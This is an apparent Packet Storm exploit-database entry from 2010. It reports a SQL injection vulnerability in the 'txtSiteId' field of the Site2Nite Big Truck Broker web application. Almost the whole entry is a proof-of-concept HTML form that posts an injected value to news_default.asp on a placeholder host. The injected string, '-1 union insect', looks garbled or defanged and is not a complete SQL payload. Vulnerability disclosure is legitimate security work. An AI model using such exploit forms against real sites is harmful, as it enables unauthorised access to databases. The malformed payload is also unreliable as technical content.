Site2Nite Big Truck Broker SQL Injection

2010-11-28T00:00:00
ID PACKETSTORM:96148
Type packetstorm
Reporter Underground Stockholm
Modified 2010-11-28T00:00:00

Description

                                        
                                            `<!--  
Site2Nite Big Truck Broker "txtSiteId" SQL Injection Vulnerability  
PRODUCT: Site2Nite Big Truck Broker  
PRODUCT URL: http://www.site2nite.com/productdetail.asp?id=14  
RESEARCHERS: underground-stockholm.com  
RESEARCHERS URL: http://underground-stockholm.com/  
-->  
<html>  
<body>  
<form method="post" action="http://[host]/[path]/news_default.asp">  
<input type="text" name="txtSiteId" value="-1 union insect">  
<input type="hidden" name="cmdSearchId" value="Go">  
<input type="submit">  
</form>  
</body>  
</html>  
  
`